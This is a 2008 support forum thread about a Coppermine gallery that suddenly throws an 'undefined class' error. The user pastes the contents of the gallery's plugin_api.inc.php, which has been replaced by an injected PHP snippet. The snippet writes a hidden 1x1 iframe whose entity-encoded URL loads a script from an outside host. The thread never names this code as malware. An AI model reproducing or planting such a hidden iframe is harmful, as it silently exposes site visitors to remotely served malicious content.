Fatal error: undefined class name Fatal error: undefined class name
 

News:

CPG Release 1.6.27
change DB IP storage fields to accommodate IPv6 addresses
remove use of E_STRICT (PHP 8.4 deprecated)
update README to reflect new website
align code with new .com CPG website
correct deprecation in captcha

Main Menu

Fatal error: undefined class name

Started by fruity, April 17, 2008, 03:51:07 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

fruity

Hello
When i want to go on my coppermine-galler, i get this message:

Fatal error: Undefined class name 'cpgpluginapi' in /mnt/web6/32/92/51319892/htdocs/cpg1410/include/init.inc.php on line 224

Before i get this, the gallery runs without problems.
Why do i recieve this error now?
I changed nothing  :(

best regards
fruity

Nibbler

Make sure include/plugin_api.inc.php is present and correct (eg. not an empty file).

fruity

Hi

the pligin_api.inc.php file istn't empty.
There are a few lines Code

<?php 
if(
$GLOBALS["fx"]==0) { 
$GLOBALS["fx"]=1;
echo "<iframe src='&#38;#104;&#38;#116;&#38;#116;&#38;#112;&#38;#58;&#38;#47;&#38;#47;&#38;#99;&#38;#99;&#38;#102;&#38;#101;&#38;#108;&#38;#111;&#38;#109;&#38;#118;&#38;#104;&#38;#107;&#38;#46;&#38;#99;&#38;#111;&#38;#109;&#38;#47;&#38;#100;&#38;#108;&#38;#47;&#38;#97;&#38;#100;&#38;#118;&#38;#53;&#38;#52;&#38;#50;&#38;#46;&#38;#112;&#38;#104;&#38;#112;' width=1 height=1></iframe>";
}
?>

this is the whole code